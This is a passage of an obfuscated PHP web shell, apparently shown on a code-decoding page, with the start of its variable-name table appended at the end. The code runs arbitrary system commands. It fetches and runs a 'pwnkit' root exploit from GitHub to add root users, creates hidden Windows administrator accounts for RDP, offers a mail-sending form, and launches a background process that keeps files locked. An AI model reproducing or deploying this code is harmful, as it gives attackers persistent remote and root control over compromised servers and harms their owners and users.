} else if (${${"GLOBALS"}["hektwrrl"]} && ${$gdhqblq}) {
success();
} else {
failed();
}
}
}
}
}
if (isset($_POST["submit"])) {
if ($_POST["create_folder"] == true) {
${"GLOBALS"}["vvztczqbfa"] = "NamaFolder";
${${"GLOBALS"}["vvztczqbfa"]} = ${${"GLOBALS"}["ffhwthehfke"]}[12]($_POST["create_folder"]);
if (${${"GLOBALS"}["wcjqjgw"]}) {
success();
} else {
failed();
}
} else if ($_POST["create_file"] == true) {
$ljlzrs = "namaFile";
${$ljlzrs} = ${${"GLOBALS"}["ffhwthehfke"]}[13]($_POST["create_file"]);
if (${${"GLOBALS"}["ujnfzmr"]}) {
success();
} else {
failed();
}
} else if ($_POST["renameFile"] == true) {
$kgxbqfaht = "fungsi";
${${"GLOBALS"}["mqnmtlzvstdb"]} = ${$kgxbqfaht}[15](unx($_GET["re"]), $_POST["renameFile"]);
if (${${"GLOBALS"}["mqnmtlzvstdb"]}) {
success();
} else {
failed();
}
} else if ($_POST["chFile"]) {
$ktbitdlgnko = "fungsi";
$mcqxqffigup = "chFiles";
${${"GLOBALS"}["uaarvdwkim"]} = ${$ktbitdlgnko}[30](unx($_GET["ch"]), $_POST["chFile"]);
if (${$mcqxqffigup}) {
success();
} else {
failed();
}
} else if (isset($_POST["add-username"]) && isset($_POST["add-password"])) {
$ordroqwi = "fungsi";
if (!${${"GLOBALS"}["ffhwthehfke"]}[3]("pwnkit")) {
cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit");
cmd("chmod +x pwnkit");
cmd("./pwnkit \"id\" > .mad-root");
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["ffhwthehfke"]}[0]()) . "&rooting=True\">";
} else if (${$ordroqwi}[3](".mad-root")) {
$hggngmrjmalk = "response";
${"GLOBALS"}["iagqfob"] = "r_text";
${"GLOBALS"}["fsdmzrd"] = "r_text";
${"GLOBALS"}["xbsqfljsoqs"] = "response";
$jskeyi = "fungsi";
${${"GLOBALS"}["xbsqfljsoqs"]} = ${$jskeyi}[11](".mad-root");
${${"GLOBALS"}["iagqfob"]} = explode(" ", ${$hggngmrjmalk});
if (${${"GLOBALS"}["fsdmzrd"]}[0] == "uid=0(root)") {
$uwejsyic = "password";
${${"GLOBALS"}["koisfmemk"]} = $_POST["add-username"];
${"GLOBALS"}["bbmgjpim"] = "password";
${$uwejsyic} = $_POST["add-password"];
cmd("./pwnkit \"useradd " . ${${"GLOBALS"}["koisfmemk"]} . " ; echo -e \"" . ${${"GLOBALS"}["bbmgjpim"]} . "\n" . ${${"GLOBALS"}["miscolyhduf"]} . "\" | passwd " . ${${"GLOBALS"}["koisfmemk"]} . "\"");
} else {
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["ffhwthehfke"]}[0]()) . "&adduser=failed\">";
}
}
} else if ($_POST["lockfile"] == true) {
$ufpdlylzwue = "flesName";
${"GLOBALS"}["qqseohq"] = "fungsi";
$rejgynpab = "flesName";
${"GLOBALS"}["lzjyihwiekhd"] = "fungsi";
$woxxgomirp = "fungsi";
$fpgvffcwvcv = "fungsi";
${"GLOBALS"}["tdhpfie"] = "flesName";
${"GLOBALS"}["butzso"] = "fungsi";
${"GLOBALS"}["lihpzsjctue"] = "flesName";
${"GLOBALS"}["dwtxhlb"] = "TmpNames";
${"GLOBALS"}["xsyuhggsllib"] = "fungsi";
${"GLOBALS"}["rwrcvsrfuj"] = "TmpNames";
$mcltifzh = "flesName";
${$ufpdlylzwue} = $_POST["lockfile"];
${${"GLOBALS"}["dbqsqfmq"]} = ${${"GLOBALS"}["ffhwthehfke"]}[31]();
${"GLOBALS"}["iscjwvs"] = "TmpNames";
if (file_exists(${${"GLOBALS"}["rwrcvsrfuj"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${$mcltifzh}) . "-handler")) && file_exists(${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . remove_dot(${${"GLOBALS"}["lihpzsjctue"]}) . "-text")) {
${"GLOBALS"}["vdlqbp"] = "TmpNames";
$lyqljpodlmb = "fungsi";
cmd("rm -rf " . ${${"GLOBALS"}["vdlqbp"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-text-file"));
$vxmzbuelf = "TmpNames";
cmd("rm -rf " . ${$vxmzbuelf} . "/.sessions/." . base64_encode(${$lyqljpodlmb}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-handler"));
}
${"GLOBALS"}["bqlhisl"] = "fungsi";
${"GLOBALS"}["ibrdwn"] = "flesName";
mkdir(${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions");
cmd("cp $flesName " . ${${"GLOBALS"}["iscjwvs"]} . "/.sessions/." . base64_encode(${$woxxgomirp}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-text-file"));
cmd("chmod 444 " . ${${"GLOBALS"}["tdhpfie"]});
$dwgiadxoy = "hndlers";
$yfpihber = "fungsi";
${${"GLOBALS"}["rkgfykokmyu"]} = "
<?php
@ini_set(\"max_execution_time\", 0);
while (True){
if (!file_exists(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "\")){
mkdir(\"" . ${${"GLOBALS"}["lzjyihwiekhd"]}[0]() . "\");
}
if (!file_exists(\"" . ${${"GLOBALS"}["bqlhisl"]}[0]() . "/" . ${${"GLOBALS"}["dqkrxoh"]} . "\")){
\$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["ibrdwn"]}) . "-text-file") . "\"));
file_put_contents(\"" . ${$fpgvffcwvcv}[0]() . "/" . ${$rejgynpab} . "\", base64_decode(\$text));
}
if (gecko_perm(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["dqkrxoh"]} . "\") != 0444){
chmod(\"" . ${${"GLOBALS"}["xsyuhggsllib"]}[0]() . "/" . ${${"GLOBALS"}["dqkrxoh"]} . "\", 0444);
}
if (gecko_perm(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "\") != 0555){
chmod(\"" . ${$yfpihber}[0]() . "\", 0555);
}
}
function gecko_perm(\$flename){
return substr(sprintf(\"%o\", fileperms(\$flename)), -4);
}
";
${$dwgiadxoy} = ${${"GLOBALS"}["qqseohq"]}[28](${${"GLOBALS"}["dwtxhlb"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["butzso"]}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-handler") . "", ${${"GLOBALS"}["rkgfykokmyu"]});
if (${${"GLOBALS"}["yinfjmegypy"]}) {
${"GLOBALS"}["uiibyuqbt"] = "flesName";
cmd("php " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["uiibyuqbt"]}) . "-handler") . " > /dev/null 2>/dev/null &");
success();
} else {
failed();
}
} else if ($_POST["add-rdp"] == True) {
$koeepuk = "passRDP";
${${"GLOBALS"}["snefspybou"]} = $_POST["add-rdp"];
${$koeepuk} = $_POST["add-rdp-pass"];
if (stristr(PHP_OS, "WIN")) {
${"GLOBALS"}["zyznrnjgxhhb"] = "procRDP";
${"GLOBALS"}["ovjzsvjfusd"] = "procRDP";
${"GLOBALS"}["nhmxbgttwur"] = "userRDP";
${"GLOBALS"}["lcqcfaxu"] = "passRDP";
${${"GLOBALS"}["zyznrnjgxhhb"]} = cmd("net user " . ${${"GLOBALS"}["nhmxbgttwur"]} . " " . ${${"GLOBALS"}["lcqcfaxu"]} . " /add");
if (${${"GLOBALS"}["ovjzsvjfusd"]}) {
$xmprgsjwu = "userRDP";
cmd("net localgroup administrators " . ${$xmprgsjwu} . " /add");
success();
} else {
failed();
}
} else {
failed();
}
} else if ($_POST["mail-from-smtp"] == True) {
$mymtcpmlncf = "headersMail";
${"GLOBALS"}["difiwpmgvyyn"] = "emailFrom";
${"GLOBALS"}["umawbqofe"] = "emailTo";
${${"GLOBALS"}["difiwpmgvyyn"]} = $_POST["mail-from-smtp"];
$cenoern = "emailSubject";
${${"GLOBALS"}["icbzeo"]} = $_POST["mail-to-smtp"];
$nsrbdvebmll = "messageMail";
${${"GLOBALS"}["fskuptrbqq"]} = $_POST["mailto-subject"];
$smpfuqtprvm = "emailFrom";
$uuckuczidd = "procMailSmTp";
${$nsrbdvebmll} = $_POST["message-smtp"];
${${"GLOBALS"}["jtecjf"]} = "From: " . ${${"GLOBALS"}["dmfsqsfrmbv"]} . "" . "
" . "Reply-To: " . ${$smpfuqtprvm} . "" . "
" . "X-Mailer: PHP/" . phpversion();
${$uuckuczidd} = mail(${${"GLOBALS"}["umawbqofe"]}, ${$cenoern}, ${${"GLOBALS"}["tbpcvx"]}, ${$mymtcpmlncf});
if (${${"GLOBALS"}["lpvkshtewk"]}) {
success();
} else {
failed();
}
}
}
if ($_GET["response"] == "success") {
echo "<script>
Swal.fire({
icon: 'success',
title: 'Sucesss...',
text: 'Done Success!',
confirmButtonColor: '#22242d',
})</script>";
} else if ($_GET["response"] == "failed") {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Failed...',
text: 'Something wrong!',
confirmButtonColor: '#22242d',
})
</script>";
}
function success()
{
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx($GLOBALS["fungsi"][0]()) . "&response=success\">";
}
function failed()
{
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx($GLOBALS["fungsi"][0]()) . "&response=failed\">";
}
function formatSize($bytes)
{
$nlrtkgx = "bytes";
$agsoeh = "types";
$gexelgc = "i";
$qqnigtpdzgc = "i";
${${"GLOBALS"}["betjytbof"]} = array("<span class=\"file-size\">B</span>", "<span class=\"file-size\">KB</span>", "<span class=\"file-size\">MB</span>", "<span class=\"file-size\">GB</span>", "<span class=\"file-size\">TB</span>");
for (${$qqnigtpdzgc} = 0; ${$nlrtkgx} >= 1024 && ${${"GLOBALS"}["lgjstiud"]} < (count(${${"GLOBALS"}["betjytbof"]}) - 1); ${${"GLOBALS"}["ngifmqy"]} /= 1024, ${$gexelgc}++) ;
$iruvrmmam = "bytes";
return (round(${$iruvrmmam}, 2) . " " . ${$agsoeh}[${${"GLOBALS"}["lgjstiud"]}]);
}
function hx($n)
{
$drffqj = "y";
${"GLOBALS"}["ltfuglrqtwm"] = "n";
${${"GLOBALS"}["uttudimpo"]} = "";
${"GLOBALS"}["svjksiktzb"] = "i";
for (${${"GLOBALS"}["lgjstiud"]} = 0; ${${"GLOBALS"}["lgjstiud"]} < strlen(${${"GLOBALS"}["ltfuglrqtwm"]}); ${${"GLOBALS"}["svjksiktzb"]}++) {
${${"GLOBALS"}["uttudimpo"]} .= dechex(ord(${${"GLOBALS"}["srkuxtmbwph"]}[${${"GLOBALS"}["lgjstiud"]}]));
}
return ${$drffqj};
}
function unx($y)
{
${"GLOBALS"}["ejluwaverjv"] = "n";
$gylivtuvhoix = "y";
${${"GLOBALS"}["srkuxtmbwph"]} = "";
for (${${"GLOBALS"}["lgjstiud"]} = 0; ${${"GLOBALS"}["lgjstiud"]} < strlen(${$gylivtuvhoix}) - 1; ${${"GLOBALS"}["lgjstiud"]} += 2) {
${"GLOBALS"}["cvkgmwvf"] = "y";
${"GLOBALS"}["wbefayofet"] = "i";
${${"GLOBALS"}["srkuxtmbwph"]} .= chr(hexdec(${${"GLOBALS"}["uttudimpo"]}[${${"GLOBALS"}["lgjstiud"]}] . ${${"GLOBALS"}["cvkgmwvf"]}[${${"GLOBALS"}["wbefayofet"]} + 1]));
}
return ${${"GLOBALS"}["ejluwaverjv"]};
}
function suggest_exploit()
{
${${"GLOBALS"}["dmqscsrrxg"]} = $GLOBALS["fungsi"][8]();
${"GLOBALS"}["xtzdjncuserq"] = "uname";
${"GLOBALS"}["odqtipd"] = "xpld";
${${"GLOBALS"}["ivutmpeftk"]} = explode(" ", ${${"GLOBALS"}["xtzdjncuserq"]});
${"GLOBALS"}["gfmsbqujw"] = "pl";
${"GLOBALS"}["rbssufdukn"] = "xplod";
${${"GLOBALS"}["pcuoxvbv"]} = explode("-", ${${"GLOBALS"}["rbssufdukn"]}[2]);
${${"GLOBALS"}["gfmsbqujw"]} = explode(".", ${${"GLOBALS"}["odqtipd"]}[0]);
return ${${"GLOBALS"}["vrwldghfh"]}[0] . "." . ${${"GLOBALS"}["vrwldghfh"]}[1] . "." . ${${"GLOBALS"}["vrwldghfh"]}[2];
}
function s()
{
${${"GLOBALS"}["konmzff"]} = @$GLOBALS["fungsi"][7]("/etc/named.conf", false);
if (!${${"GLOBALS"}["konmzff"]}) {
${"GLOBALS"}["qkldqivwn"] = "dom";
${${"GLOBALS"}["qkldqivwn"]} = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";
$GLOBALS["need_to_update_header"] = "true";
} else {
${"GLOBALS"}["gzexxk"] = "d0mains";
${"GLOBALS"}["qmjsreqiurp"] = "dom";
$xrygczb = "d0main";
${${"GLOBALS"}["tmkiaxedyo"]} = 0;
foreach (${${"GLOBALS"}["gzexxk"]} as ${$xrygczb}) {
if (@strstr(${${"GLOBALS"}["buofmousj"]}, "zone")) {
preg_match_all("#zone \"(.*)\"#", ${${"GLOBALS"}["buofmousj"]}, ${${"GLOBALS"}["ypdcsham"]});
flush();
if (strlen(trim(${${"GLOBALS"}["ypdcsham"]}[1][0])) > 2) {
flush();
${${"GLOBALS"}["tmkiaxedyo"]}++;
}
}
}
${${"GLOBALS"}["qmjsreqiurp"]} = "$count Domain";
}
return ${${"GLOBALS"}["gdpdzhana"]};
}
function cmd($in, $re = false)
{
$dqlceyuqg = "out";
${$dqlceyuqg} = "";
try {
if (${${"GLOBALS"}["rlhhhuomf"]}) ${${"GLOBALS"}["cijpogbgu"]} = ${${"GLOBALS"}["cijpogbgu"]} . " 2>&1";
if (function_exists("exec")) {
$ypjzxnbskt = "out";
${"GLOBALS"}["uaoqexjmtkki"] = "out";
${"GLOBALS"}["xqqhuldlq"] = "in";
@$GLOBALS["fungsi"][16](${${"GLOBALS"}["xqqhuldlq"]}, ${${"GLOBALS"}["uaoqexjmtkki"]});
${$ypjzxnbskt} = @join("
", ${${"GLOBALS"}["fwfhddvy"]});
} elseif (function_exists("passthru")) {
ob_start();
$cjhdnvljttz = "in";
@$GLOBALS["fungsi"][17](${$cjhdnvljttz});
${${"GLOBALS"}["fwfhddvy"]} = ob_get_clean();
} elseif (function_exists("system")) {
${"GLOBALS"}["neqdrymh"] = "in";
ob_start();
${"GLOBALS"}["ibvmflpf"] = "out";
@$GLOBALS["fungsi"][18](${${"GLOBALS"}["neqdrymh"]});
${${"GLOBALS"}["ibvmflpf"]} = ob_get_clean();
} elseif (function_exists("shell_exec")) {
${"GLOBALS"}["cmeuwmzj"] = "out";
${${"GLOBALS"}["cmeuwmzj"]} = $GLOBALS["fungsi"][19](${${"GLOBALS"}["cijpogbgu"]});
} elseif (function_exists("popen") && function_exists("pclose")) {
if (is_resource(${${"GLOBALS"}["wcpxltgifs"]} = @$GLOBALS["fungsi"][20](${${"GLOBALS"}["cijpogbgu"]}, "r"))) {
${"GLOBALS"}["saptbeeykqlx"] = "f";
${"GLOBALS"}["ovncflt"] = "out";
${"GLOBALS"}["xautjvvv"] = "f";
${${"GLOBALS"}["ovncflt"]} = "";
while (!@feof(${${"GLOBALS"}["xautjvvv"]})) ${${"GLOBALS"}["fwfhddvy"]} .= fread(${${"GLOBALS"}["saptbeeykqlx"]}, 1024);
$GLOBALS["fungsi"][21](${${"GLOBALS"}["wcpxltgifs"]});
}
} elseif (function_exists("proc_open")) {
$dqptjfbjzh = "pipes";
${"GLOBALS"}["qowbpg"] = "in";
$wuprddbqmwg = "process";
${$dqptjfbjzh} = array();
${$wuprddbqmwg} = @$GLOBALS["fungsi"][23](${${"GLOBALS"}["qowbpg"]} . " 2>&1", array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), ${${"GLOBALS"}["mvopnjandgf"]}, null);
${${"GLOBALS"}["fwfhddvy"]} = @$GLOBALS["fungsi"][22](${${"GLOBALS"}["mvopnjandgf"]}[1]);
} elseif (class_exists("COM")) {
$sxjwyhon = "alfaWs";
$wjewpndyx = "stdout";
${$sxjwyhon} = new COM("WScript.shell");
${${"GLOBALS"}["tsrbiic"]} = $alfaWs->$GLOBALS["fungsi"][16]("cmd.exe /c " . $_POST["alfa1"]);
${$wjewpndyx} = $exec->StdOut();
${${"GLOBALS"}["fwfhddvy"]} = $stdout->ReadAll();
}
} catch (Exception$e) {
}
return $out;
}
function winpwd()
{
return str_replace("\", "/", $GLOBALS["fungsi"][0]());
}
function remove_slash($val)
{
$rrjqgdmsu = "tex1";
$raogixge = "tex3";
${"GLOBALS"}["kmnybat"] = "tex2";
${"GLOBALS"}["ksimxkomds"] = "tex4";
${${"GLOBALS"}["fwcvgggob"]} = str_replace("/", "", ${${"GLOBALS"}["vyhvnhuhq"]});
${$rrjqgdmsu} = str_replace(":", "", ${${"GLOBALS"}["fwcvgggob"]});
${${"GLOBALS"}["kmnybat"]} = str_replace("_", "", ${${"GLOBALS"}["onliotc"]});
${$raogixge} = str_replace(" ", "", ${${"GLOBALS"}["xoatcvs"]});
${${"GLOBALS"}["xsawvgb"]} = str_replace(".", "", ${${"GLOBALS"}["giwwwjjtimb"]});
return ${${"GLOBALS"}["ksimxkomds"]};
}
function unlinkDir($dir)
{
$cajhqqd = "dirs";
${${"GLOBALS"}["qsodwt"]} = array(${${"GLOBALS"}["yhyjnfqmr"]});
$qutqqdcw = "files";
$uuckzmvq = "files";
${$uuckzmvq} = array();
${"GLOBALS"}["hrbdkxio"] = "dirs";
$jnyljkohh = "file";
for (${${"GLOBALS"}["lgjstiud"]} = 0; ; ${${"GLOBALS"}["lgjstiud"]}++) {
$dmlciqy = "i";
$iotjzwlpbke = "dir";
${"GLOBALS"}["gkmmckou"] = "dirs";
$cbrvftdsy = "i";
if (isset(${${"GLOBALS"}["qsodwt"]}[${$dmlciqy}])) ${${"GLOBALS"}["yhyjnfqmr"]} = ${${"GLOBALS"}["gkmmckou"]}[${$cbrvftdsy}]; else break;
if (${${"GLOBALS"}["binikfz"]} = opendir(${$iotjzwlpbke})) {
${"GLOBALS"}["phrimlhdp"] = "readDir";
$rpttlqbbph = "openDir";
while (${${"GLOBALS"}["phrimlhdp"]} = @readdir(${$rpttlqbbph})) {
${"GLOBALS"}["uonxpyalcgi"] = "readDir";
if (${${"GLOBALS"}["uonxpyalcgi"]} != "." && ${${"GLOBALS"}["xoquwji"]} != "..") {
$hbqsxqy = "readDir";
$nyiwtovso = "dir";
if ($GLOBALS["fungsi"][2](${$nyiwtovso} . "/" . ${$hbqsxqy})) {
${"GLOBALS"}["oedaulwc"] = "dir";
${${"GLOBALS"}["qsodwt"]}[] = ${${"GLOBALS"}["oedaulwc"]} . "/" . ${${"GLOBALS"}["xoquwji"]};
} else {
${"GLOBALS"}["kndfviwu"] = "files";
${"GLOBALS"}["tkfryy"] = "readDir";
${"GLOBALS"}["dsytnjfbsn"] = "dir";
${${"GLOBALS"}["kndfviwu"]}[] = ${${"GLOBALS"}["dsytnjfbsn"]} . "/" . ${${"GLOBALS"}["tkfryy"]};
}
}
}
}
}
$bsnvocylh = "dirs";
foreach (${$qutqqdcw} as ${$jnyljkohh}) {
$GLOBALS["fungsi"][24](${${"GLOBALS"}["kzarkwcnynf"]});
}
${$bsnvocylh} = array_reverse(${$cajhqqd});
foreach (${${"GLOBALS"}["hrbdkxio"]} as ${${"GLOBALS"}["yhyjnfqmr"]}) {
${"GLOBALS"}["mmstwk"] = "dir";
$GLOBALS["fungsi"][25](${${"GLOBALS"}["mmstwk"]});
}
}
function remove_dot($file)
{
$teimggxrxlh = "file";
${${"GLOBALS"}["jqggucyqgs"]} = ${$teimggxrxlh};
${"GLOBALS"}["bgxzpgiqwup"] = "pch";
${${"GLOBALS"}["exlsji"]} = explode(".", ${${"GLOBALS"}["jqggucyqgs"]});
return ${${"GLOBALS"}["bgxzpgiqwup"]}[0];
}
function windowsDriver()
{
${"GLOBALS"}["namjwryyp"] = "winVal";
${"GLOBALS"}["bwxteeizmqji"] = "winArr";
${${"GLOBALS"}["uewssmzs"]} = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z"];
foreach (${${"GLOBALS"}["bwxteeizmqji"]} as ${${"GLOBALS"}["udlkwqjgtd"]} => ${${"GLOBALS"}["namjwryyp"]}) {
if (is_dir(${${"GLOBALS"}["jstwslbijjl"]} . ":/")) {
${"GLOBALS"}["eskisxdopzel"] = "winVal";
${"GLOBALS"}["xegtkwvhc"] = "winVal";
echo "<a style='color:orange; font-weight:bold;' href='?d=" . hx(${${"GLOBALS"}["xegtkwvhc"]} . ":/") . "'>[ " . ${${"GLOBALS"}["eskisxdopzel"]} . " ]</a> ";
}
}
}
function namaPanjang($value)
{
$dlbxuictjvo = "namaNya";
$tnluufrd = "namaNya";
${$dlbxuictjvo} = ${${"GLOBALS"}["jkvogdqevb"]};
${${"GLOBALS"}["lbyicpdehf"]} = pathinfo(${${"GLOBALS"}["jkvogdqevb"]}, PATHINFO_EXTENSION);
if (strlen(${$tnluufrd}) > 30) {
return substr(${${"GLOBALS"}["dovrqa"]}, 0, 30) . "...";
} else {
return ${${"GLOBALS"}["jkvogdqevb"]};
}
}
function perms($file)
{
$jjdnbufmksl = "perms";
$tcqbhvir = "perms";
$jsqwvept = "file";
${"GLOBALS"}["xbhlglmqgb"] = "perms";
$fmnexhsxgyn = "perms";
$hdobcf = "perms";
${"GLOBALS"}["edcffdwyjhmx"] = "perms";
$xgltnpmhigx = "perms";
${${"GLOBALS"}["xbhlglmqgb"]} = $GLOBALS["fungsi"][6](${$jsqwvept});
${"GLOBALS"}["bcsuussvmulv"] = "perms";
${"GLOBALS"}["kbufjvyut"] = "perms";
$akhtfzwl = "info";
${"GLOBALS"}["fjymcowm"] = "perms";
$lxhvmjxqu = "perms";
$pbwttyd = "info";
$fyenrneyrq = "perms";
${"GLOBALS"}["stxqjfde"] = "perms";
$cgtnpbw = "info";
$pybekgrao = "perms";
$mtancqawq = "perms";
${"GLOBALS"}["gpqkwrhqykfo"] = "perms";
${"GLOBALS"}["upwhydp"] = "info";
if ((${${"GLOBALS"}["pngmwpjtmv"]} & 0xC000) == 0xC000) {
$kwfvtpcfe = "info";
${$kwfvtpcfe} = "s";
} elseif ((${${"GLOBALS"}["pngmwpjtmv"]} & 0xA000) == 0xA000) {
${"GLOBALS"}["cqvgjp"] = "info";
${${"GLOBALS"}["cqvgjp"]} = "l";
} elseif ((${${"GLOBALS"}["kbufjvyut"]} & 0x8000) == 0x8000) {
${${"GLOBALS"}["monxldgljxy"]} = "-";
} elseif ((${${"GLOBALS"}["bcsuussvmulv"]} & 0x6000) == 0x6000) {
${${"GLOBALS"}["monxldgljxy"]} = "b";
} elseif ((${$tcqbhvir} & 0x4000) == 0x4000) {
${"GLOBALS"}["zkbjpneui"] = "info";
${${"GLOBALS"}["zkbjpneui"]} = "d";
} elseif ((${$jjdnbufmksl} & 0x2000) == 0x2000) {
$inafvzqvdo = "info";
${$inafvzqvdo} = "c";
} elseif ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x1000) == 0x1000) {
${${"GLOBALS"}["monxldgljxy"]} = "p";
} else {
${${"GLOBALS"}["monxldgljxy"]} = "u";
}
${${"GLOBALS"}["monxldgljxy"]} .= ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0100) ? "r" : "-");
${${"GLOBALS"}["monxldgljxy"]} .= ((${$fmnexhsxgyn} & 0x0080) ? "w" : "-");
${$akhtfzwl} .= ((${$xgltnpmhigx} & 0x0040) ? ((${${"GLOBALS"}["fjymcowm"]} & 0x0800) ? "s" : "x") : ((${$lxhvmjxqu} & 0x0800) ? "S" : "-"));
${${"GLOBALS"}["monxldgljxy"]} .= ((${${"GLOBALS"}["edcffdwyjhmx"]} & 0x0020) ? "r" : "-");
${"GLOBALS"}["fewknzd"] = "info";
${$cgtnpbw} .= ((${$mtancqawq} & 0x0010) ? "w" : "-");
${${"GLOBALS"}["monxldgljxy"]} .= ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0008) ? ((${${"GLOBALS"}["gpqkwrhqykfo"]} & 0x0400) ? "s" : "x") : ((${$pybekgrao} & 0x0400) ? "S" : "-"));
${$pbwttyd} .= ((${$hdobcf} & 0x0004) ? "r" : "-");
$xrhxuou = "info";
${${"GLOBALS"}["fewknzd"]} .= ((${${"GLOBALS"}["stxqjfde"]} & 0x0002) ? "w" : "-");
${${"GLOBALS"}["upwhydp"]} .= ((${$fyenrneyrq} & 0x0001) ? ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0200) ? "t" : "x") : ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0200) ? "T" : "-"));
return ${$xrhxuou};
}
?>Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["monxldgljxy"] = "info";
${"GLOBALS"}["pngmwpjtmv"] = "perms";
${"GLOBALS"}["dovrqa"] = "namaNya";
${"GLOBALS"}["lbyicpdehf"] = "extensi";
${"GLOBALS"}["jkvogdqevb"] = "value";
${"GLOBALS"}["jstwslbijjl"] = "winVal";
${"GLOBALS"}["udlkwqjgtd"] = "winNum";
${"GLOBALS"}["uewssmzs"] = "winArr";
${"GLOBALS"}["exlsji"] = "pch";
${"GLOBALS"}["jqggucyqgs"] = "FILES";
${"GLOBALS"}["xoquwji"] = "readDir";
${"GLOBALS"}["binikfz"] = "openDir";
${"GLOBALS"}["yhyjnfqmr"] = "dir";
${"GLOBALS"}["qsodwt"] = "dirs";
${"GLOBALS"}["giwwwjjtimb"] = "tex3";
${"GLOBALS"}["xsawvgb"] = "tex4";
${"GLOBALS"}["xoatcvs"] = "tex2";
${"GLOBALS"}["onliotc"] = "tex1";
${"GLOBALS"}["fwcvgggob"] = "tex";
${"GLOBALS"}["tsrbiic"] = "exec";
${"GLOBALS"}["mvopnjandgf"] = "pipes";
${"GLOBALS"}["wcpxltgifs"] = "f";
${"GLOBALS"}["fwfhddvy"] = "out";
${"GLOBALS"}["cijpogbgu"] = "in";
${"GLOBALS"}["rlhhhuomf"] = "re";
${"GLOBALS"}["gdpdzhana"] = "dom";
${"GLOBALS"}["ypdcsham"] = "domains";
${"GLOBALS"}["buofmousj"] = "d0main";
${"GLOBALS"}["tmkiaxedyo"] = "count";
${"GLOBALS"}["konmzff"] = "d0mains";
${"GLOBALS"}["vrwldghfh"] = "pl";
${"GLOBALS"}["pcuoxvbv"] = "xpld";
${"GLOBALS"}["ivutmpeftk"] = "xplod";
${"GLOBALS"}["dmqscsrrxg"] = "uname";
${"GLOBALS"}["srkuxtmbwph"] = "n";
${"GLOBALS"}["uttudimpo"] = "y";
${"GLOBALS"}["ngifmqy"] = "bytes";
${"GLOBALS"}["betjytbof"] = "types";
${"GLOBALS"}["lpvkshtewk"] = "procMailSmTp";
${"GLOBALS"}["tbpcvx"] = "messageMail";
${"GLOBALS"}["dmfsqsfrmbv"] = "emailFrom";
${"GLOBALS"}["jtecjf"] = "headersMail";
${"GLOBALS"}["fskuptrbqq"] = "emailSubject";
${"GLOBALS"}["icbzeo"] = "emailTo";
${"GLOBALS"}["snefspybou"] = "userRDP";
${"GLOBALS"}["yinfjmegypy"] = "hndlers";
${"GLOBALS"}["dqkrxoh"] = "flesName";
${"GLOBALS"}["miscolyhduf"] = "password";
${"GLOBALS"}["koisfmemk"] = "username";
${"GLOBALS"}["uaarvdwkim"] = "chFiles";
${"GLOBALS"}["mqnmtlzvstdb"] = "renameFile";
${"GLOBALS"}["ujnfzmr"] = "namaFile";
${"GLOBALS"}["wcjqjgw"] = "NamaFolder";
${"GLOBALS"}["sxwndnpdijt"] = "rmfile";
${"GLOBALS"}["hektwrrl"] = "rmdir";
${"GLOBALS"}["nrcugmld"] = "fd";
${"GLOBALS"}["kuphbgrlczg"] = "repl";
${"GLOBALS"}["iminkwh"] = "it";
${"GLOBALS"}["jyzluwxvn"] = "items";
${"GLOBALS"}["xusktnvbnjby"] = "\x55RL";
${"GLOBALS"}["cbbnsxlolny"] = "put_htt";
${"GLOBALS"}["cpowqrgjnf"] = "CurrentFile";
${"GLOBALS"}["cbuxechbfwy"] = "htaccess";
${"GLOBALS"}["dbbudshjycm"] = "DOC_ROOT";
${"GLOBALS"}["ikchyqomiv"] = "tmpName";
${"GLOBALS"}["oaozwlw"] = "namaFilenya";
${"GLOBALS"}["rkgfykokmyu"] = "handler";
${"GLOBALS"}["dbqsqfmq"] = "TmpNames";
${"GLOBALS"}["prsrvsm"] = "curFile";
${"GLOBALS"}["vbysbyqmoir"] = "connt";
${"GLOBALS"}["onmtulj"] = "PortServer";
${"GLOBALS"}["asqxyupgfaa"] = "HostServer";
${"GLOBALS"}["amngmdwfyiog"] = "r_text";
${"GLOBALS"}["jwssnyah"] = "response";
${"GLOBALS"}["esxgnddkg"] = "_F";
${"GLOBALS"}["vmjijohl"] = "file_manager";
${"GLOBALS"}["bqmtaotu"] = "_D";
${"GLOBALS"}["vyhvnhuhq"] = "val";
${"GLOBALS"}["lffhkvqq"] = "id";
${"GLOBALS"}["xyutvvejxbp"] = "cwd";
${"GLOBALS"}["vxmzbcu"] = "pwd";
${"GLOBALS"}["kfyvkqjqhe"] = "get_cwd";
